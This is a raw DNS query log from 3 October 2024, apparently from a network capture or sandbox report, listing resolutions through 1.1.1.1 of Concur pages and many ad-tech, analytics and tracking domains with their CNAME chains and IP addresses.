Oct 3, 2024 10:41:31.649110079 CEST	1.1.1.1	192.168.2.4	0xd92c	No error (0)	concurtechnologies.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:32.168821096 CEST	1.1.1.1	192.168.2.4	0x8b89	No error (0)	idsync.rlcdn.com		35.244.174.68	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:33.849535942 CEST	1.1.1.1	192.168.2.4	0x6ad	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:33.849709034 CEST	1.1.1.1	192.168.2.4	0x1b02	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:33.851788998 CEST	1.1.1.1	192.168.2.4	0xabd4	No error (0)	tags.tiqcdn.com	dzfq4ouujrxm8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:33.855294943 CEST	1.1.1.1	192.168.2.4	0xbc91	No error (0)	tags.tiqcdn.com	dzfq4ouujrxm8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:33.855294943 CEST	1.1.1.1	192.168.2.4	0xbc91	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.116	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:33.855294943 CEST	1.1.1.1	192.168.2.4	0xbc91	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.32	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:33.855294943 CEST	1.1.1.1	192.168.2.4	0xbc91	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.60	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:33.855294943 CEST	1.1.1.1	192.168.2.4	0xbc91	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.58	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045389891 CEST	1.1.1.1	192.168.2.4	0xc374	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045389891 CEST	1.1.1.1	192.168.2.4	0xc374	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045389891 CEST	1.1.1.1	192.168.2.4	0xc374	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045389891 CEST	1.1.1.1	192.168.2.4	0xc374	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		46.137.24.228	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045389891 CEST	1.1.1.1	192.168.2.4	0xc374	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.217.153.213	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045389891 CEST	1.1.1.1	192.168.2.4	0xc374	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.252.162.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045389891 CEST	1.1.1.1	192.168.2.4	0xc374	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.202.150.204	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045389891 CEST	1.1.1.1	192.168.2.4	0xc374	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.77.208.237	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045389891 CEST	1.1.1.1	192.168.2.4	0xc374	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.214.92.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045389891 CEST	1.1.1.1	192.168.2.4	0xc374	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.250.169	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045389891 CEST	1.1.1.1	192.168.2.4	0xc374	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.80.175.1	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045469999 CEST	1.1.1.1	192.168.2.4	0xb8f9	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045469999 CEST	1.1.1.1	192.168.2.4	0xb8f9	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:34.045469999 CEST	1.1.1.1	192.168.2.4	0xb8f9	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:34.052148104 CEST	1.1.1.1	192.168.2.4	0xbff5	No error (0)	dp2.33across.com		67.202.105.24	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.052148104 CEST	1.1.1.1	192.168.2.4	0xbff5	No error (0)	dp2.33across.com		67.202.105.23	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.104803085 CEST	1.1.1.1	192.168.2.4	0x21ad	No error (0)	consent.trustarc.com		13.224.189.92	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.104803085 CEST	1.1.1.1	192.168.2.4	0x21ad	No error (0)	consent.trustarc.com		13.224.189.52	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.104803085 CEST	1.1.1.1	192.168.2.4	0x21ad	No error (0)	consent.trustarc.com		13.224.189.87	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.104803085 CEST	1.1.1.1	192.168.2.4	0x21ad	No error (0)	consent.trustarc.com		13.224.189.13	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.183161020 CEST	1.1.1.1	192.168.2.4	0x88e0	No error (0)	cm.g.doubleclick.net		142.250.186.66	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.221693993 CEST	1.1.1.1	192.168.2.4	0x5e5d	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.221693993 CEST	1.1.1.1	192.168.2.4	0x5e5d	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.221693993 CEST	1.1.1.1	192.168.2.4	0x5e5d	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.221693993 CEST	1.1.1.1	192.168.2.4	0x5e5d	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.329205990 CEST	1.1.1.1	192.168.2.4	0x80b6	No error (0)	consent.trustarc.com		13.224.189.92	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.329205990 CEST	1.1.1.1	192.168.2.4	0x80b6	No error (0)	consent.trustarc.com		13.224.189.13	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.329205990 CEST	1.1.1.1	192.168.2.4	0x80b6	No error (0)	consent.trustarc.com		13.224.189.87	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.329205990 CEST	1.1.1.1	192.168.2.4	0x80b6	No error (0)	consent.trustarc.com		13.224.189.52	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.719835043 CEST	1.1.1.1	192.168.2.4	0xe20d	No error (0)	www.concur.ca	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:35.727502108 CEST	1.1.1.1	192.168.2.4	0x82ce	No error (0)	www.concur.ca	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:35.843700886 CEST	1.1.1.1	192.168.2.4	0xd906	No error (0)	tags.tiqcdn.com	dzfq4ouujrxm8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:35.843700886 CEST	1.1.1.1	192.168.2.4	0xd906	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.60	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.843700886 CEST	1.1.1.1	192.168.2.4	0xd906	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.116	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.843700886 CEST	1.1.1.1	192.168.2.4	0xd906	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.58	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.843700886 CEST	1.1.1.1	192.168.2.4	0xd906	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.32	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.844216108 CEST	1.1.1.1	192.168.2.4	0xb248	No error (0)	tags.tiqcdn.com	dzfq4ouujrxm8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:36.700229883 CEST	1.1.1.1	192.168.2.4	0x475b	No error (0)	ml314.com		34.117.77.79	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:36.940588951 CEST	1.1.1.1	192.168.2.4	0xb762	No error (0)	www.concur.ca	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:36.946782112 CEST	1.1.1.1	192.168.2.4	0xa874	No error (0)	www.concur.ca	san-www.concur.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:37.183849096 CEST	1.1.1.1	192.168.2.4	0x1f77	No error (0)	ps.eyeota.net		3.127.178.105	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:38.175581932 CEST	1.1.1.1	192.168.2.4	0x39ed	No error (0)	fei.pro-market.net		107.178.240.89	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:39.322056055 CEST	1.1.1.1	192.168.2.4	0x1c7	No error (0)	aorta.clickagy.com		52.3.55.35	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:39.322056055 CEST	1.1.1.1	192.168.2.4	0x1c7	No error (0)	aorta.clickagy.com		34.238.62.66	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:39.322056055 CEST	1.1.1.1	192.168.2.4	0x1c7	No error (0)	aorta.clickagy.com		44.196.177.38	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:39.322056055 CEST	1.1.1.1	192.168.2.4	0x1c7	No error (0)	aorta.clickagy.com		44.206.122.124	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:39.977154016 CEST	1.1.1.1	192.168.2.4	0x862d	No error (0)	scripts.demandbase.com		18.245.46.25	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:39.977154016 CEST	1.1.1.1	192.168.2.4	0x862d	No error (0)	scripts.demandbase.com		18.245.46.89	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:39.977154016 CEST	1.1.1.1	192.168.2.4	0x862d	No error (0)	scripts.demandbase.com		18.245.46.44	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:39.977154016 CEST	1.1.1.1	192.168.2.4	0x862d	No error (0)	scripts.demandbase.com		18.245.46.22	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.209630013 CEST	1.1.1.1	192.168.2.4	0x1c52	No error (0)	sync.crwdcntrl.net		34.251.185.45	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.209630013 CEST	1.1.1.1	192.168.2.4	0x1c52	No error (0)	sync.crwdcntrl.net		54.78.53.108	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.209630013 CEST	1.1.1.1	192.168.2.4	0x1c52	No error (0)	sync.crwdcntrl.net		54.216.230.172	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.209630013 CEST	1.1.1.1	192.168.2.4	0x1c52	No error (0)	sync.crwdcntrl.net		54.76.166.236	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.209630013 CEST	1.1.1.1	192.168.2.4	0x1c52	No error (0)	sync.crwdcntrl.net		52.211.255.159	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.209630013 CEST	1.1.1.1	192.168.2.4	0x1c52	No error (0)	sync.crwdcntrl.net		54.76.113.237	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.209630013 CEST	1.1.1.1	192.168.2.4	0x1c52	No error (0)	sync.crwdcntrl.net		54.74.215.235	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.209630013 CEST	1.1.1.1	192.168.2.4	0x1c52	No error (0)	sync.crwdcntrl.net		52.48.114.218	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.305355072 CEST	1.1.1.1	192.168.2.4	0xfca8	No error (0)	9504840.fls.doubleclick.net	dart.l.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:40.305355072 CEST	1.1.1.1	192.168.2.4	0xfca8	No error (0)	dart.l.doubleclick.net		142.250.185.70	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.328367949 CEST	1.1.1.1	192.168.2.4	0xcb77	No error (0)	9504840.fls.doubleclick.net	dart.l.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:41.017069101 CEST	1.1.1.1	192.168.2.4	0xd0a2	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:41.017579079 CEST	1.1.1.1	192.168.2.4	0xeb4d	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:41.989490032 CEST	1.1.1.1	192.168.2.4	0x2f91	No error (0)	s.company-target.com	s.dsp-prod.demandbase.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:41.989490032 CEST	1.1.1.1	192.168.2.4	0x2f91	No error (0)	s.dsp-prod.demandbase.com		34.96.71.22	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:41.990773916 CEST	1.1.1.1	192.168.2.4	0x9da8	No error (0)	s.company-target.com	s.dsp-prod.demandbase.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:41.991036892 CEST	1.1.1.1	192.168.2.4	0x37b1	No error (0)	pubads.g.doubleclick.net		142.250.184.226	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:41.991277933 CEST	1.1.1.1	192.168.2.4	0xf7b0	No error (0)	pubads.g.doubleclick.net			65	IN (0x0001)	false
Oct 3, 2024 10:41:41.994565964 CEST	1.1.1.1	192.168.2.4	0xf924	No error (0)	script.crazyegg.com	script.crazyegg.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:41.994904041 CEST	1.1.1.1	192.168.2.4	0x7528	No error (0)	script.crazyegg.com	script.crazyegg.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.164864063 CEST	1.1.1.1	192.168.2.4	0x39d3	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.164864063 CEST	1.1.1.1	192.168.2.4	0x39d3	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.164864063 CEST	1.1.1.1	192.168.2.4	0x39d3	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.164973974 CEST	1.1.1.1	192.168.2.4	0x3f45	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.164973974 CEST	1.1.1.1	192.168.2.4	0x3f45	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.164973974 CEST	1.1.1.1	192.168.2.4	0x3f45	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.282104969 CEST	1.1.1.1	192.168.2.4	0xa55b	No error (0)	scripts.demandbase.com		18.245.46.89	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.282104969 CEST	1.1.1.1	192.168.2.4	0xa55b	No error (0)	scripts.demandbase.com		18.245.46.44	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.282104969 CEST	1.1.1.1	192.168.2.4	0xa55b	No error (0)	scripts.demandbase.com		18.245.46.22	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.282104969 CEST	1.1.1.1	192.168.2.4	0xa55b	No error (0)	scripts.demandbase.com		18.245.46.25	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.284297943 CEST	1.1.1.1	192.168.2.4	0xabb0	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.284485102 CEST	1.1.1.1	192.168.2.4	0xd7f0	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.633263111 CEST	1.1.1.1	192.168.2.4	0x403	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.633263111 CEST	1.1.1.1	192.168.2.4	0x403	No error (0)	scontent.xx.fbcdn.net		157.240.253.1	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.633871078 CEST	1.1.1.1	192.168.2.4	0xc63d	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.633871078 CEST	1.1.1.1	192.168.2.4	0xc63d	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 3, 2024 10:41:42.633871078 CEST	1.1.1.1	192.168.2.4	0xc63d	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 3, 2024 10:41:42.636955023 CEST	1.1.1.1	192.168.2.4	0x2309	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.636955023 CEST	1.1.1.1	192.168.2.4	0x2309	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.637506008 CEST	1.1.1.1	192.168.2.4	0xbe8b	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Oct 3, 2024 10:41:42.638140917 CEST	1.1.1.1	192.168.2.4	0x7469	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.638140917 CEST	1.1.1.1	192.168.2.4	0x7469	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		18.214.213.210	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.638140917 CEST	1.1.1.1	192.168.2.4	0x7469	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.206.44.114	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.638140917 CEST	1.1.1.1	192.168.2.4	0x7469	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.86.67.67	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.638140917 CEST	1.1.1.1	192.168.2.4	0x7469	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		100.28.237.6	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.638140917 CEST	1.1.1.1	192.168.2.4	0x7469	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		35.171.198.4	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.638140917 CEST	1.1.1.1	192.168.2.4	0x7469	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.231.237.62	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.638140917 CEST	1.1.1.1	192.168.2.4	0x7469	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.211.168.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.638140917 CEST	1.1.1.1	192.168.2.4	0x7469	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.197.42.150	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.638242006 CEST	1.1.1.1	192.168.2.4	0xfc49	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.642968893 CEST	1.1.1.1	192.168.2.4	0x124	No error (0)	script.crazyegg.com	script.crazyegg.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.643088102 CEST	1.1.1.1	192.168.2.4	0x5f9	No error (0)	script.crazyegg.com	script.crazyegg.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.673753977 CEST	1.1.1.1	192.168.2.4	0x53c5	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.674101114 CEST	1.1.1.1	192.168.2.4	0x66ea	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:42.902168036 CEST	1.1.1.1	192.168.2.4	0x1785	No error (0)	adservice.google.com			65	IN (0x0001)	false
Oct 3, 2024 10:41:42.902234077 CEST	1.1.1.1	192.168.2.4	0x1eac	No error (0)	adservice.google.com		142.250.184.194	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.975891113 CEST	1.1.1.1	192.168.2.4	0xdba7	No error (0)	tag-logger.demandbase.com		18.173.205.104	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.975891113 CEST	1.1.1.1	192.168.2.4	0xdba7	No error (0)	tag-logger.demandbase.com		18.173.205.94	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.975891113 CEST	1.1.1.1	192.168.2.4	0xdba7	No error (0)	tag-logger.demandbase.com		18.173.205.127	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.975891113 CEST	1.1.1.1	192.168.2.4	0xdba7	No error (0)	tag-logger.demandbase.com		18.173.205.117	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.989969015 CEST	1.1.1.1	192.168.2.4	0x93b2	No error (0)	pubads.g.doubleclick.net		142.250.186.66	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.990190983 CEST	1.1.1.1	192.168.2.4	0x6e24	No error (0)	pubads.g.doubleclick.net			65	IN (0x0001)	false
Oct 3, 2024 10:41:42.997399092 CEST	1.1.1.1	192.168.2.4	0x9641	No error (0)	ad.doubleclick.net		142.250.185.166	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.997540951 CEST	1.1.1.1	192.168.2.4	0x520a	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Oct 3, 2024 10:41:43.364247084 CEST	1.1.1.1	192.168.2.4	0x890f	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:43.364247084 CEST	1.1.1.1	192.168.2.4	0x890f	No error (0)	dg2iu7dxxehbo.cloudfront.net		18.172.103.101	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.364974976 CEST	1.1.1.1	192.168.2.4	0xe7b3	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:43.384876013 CEST	1.1.1.1	192.168.2.4	0x1476	No error (0)	cdn.pdst.fm		35.244.142.80	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.420217037 CEST	1.1.1.1	192.168.2.4	0xb890	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:43.420217037 CEST	1.1.1.1	192.168.2.4	0xb890	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		35.171.198.4	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.420217037 CEST	1.1.1.1	192.168.2.4	0xb890	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.197.42.150	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.420217037 CEST	1.1.1.1	192.168.2.4	0xb890	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.231.237.62	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.420217037 CEST	1.1.1.1	192.168.2.4	0xb890	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.211.168.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.420217037 CEST	1.1.1.1	192.168.2.4	0xb890	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.82.242.150	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.420217037 CEST	1.1.1.1	192.168.2.4	0xb890	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.86.67.67	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.420217037 CEST	1.1.1.1	192.168.2.4	0xb890	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.230.141.11	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.420217037 CEST	1.1.1.1	192.168.2.4	0xb890	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		18.214.213.210	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.421015024 CEST	1.1.1.1	192.168.2.4	0xb039	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:43.438664913 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	js.driftt.com	dl7g9llrghqi1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:43.438664913 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.438664913 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.87	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.438664913 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.73	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.438664913 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.77	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.462925911 CEST	1.1.1.1	192.168.2.4	0x24d	No error (0)	js.driftt.com	dl7g9llrghqi1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:43.799741983 CEST	1.1.1.1	192.168.2.4	0x29da	No error (0)	cm.g.doubleclick.net		216.58.206.66	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.961503983 CEST	1.1.1.1	192.168.2.4	0x1c3	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:43.961877108 CEST	1.1.1.1	192.168.2.4	0xedd8	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:44.482814074 CEST	1.1.1.1	192.168.2.4	0xd638	No error (0)	pixels.spotify.com	edge-web.dual-gslb.spotify.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:44.483401060 CEST	1.1.1.1	192.168.2.4	0x7693	No error (0)	pixels.spotify.com	edge-web.dual-gslb.spotify.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:44.483401060 CEST	1.1.1.1	192.168.2.4	0x7693	No error (0)	edge-web.dual-gslb.spotify.com		35.186.224.24	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.495270967 CEST	1.1.1.1	192.168.2.4	0xbc05	No error (0)	pixel.everesttech.net	tp00.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:44.495543003 CEST	1.1.1.1	192.168.2.4	0x426a	No error (0)	id.rlcdn.com		35.244.174.68	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.495732069 CEST	1.1.1.1	192.168.2.4	0xcb6f	No error (0)	pixel.everesttech.net	tp00.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
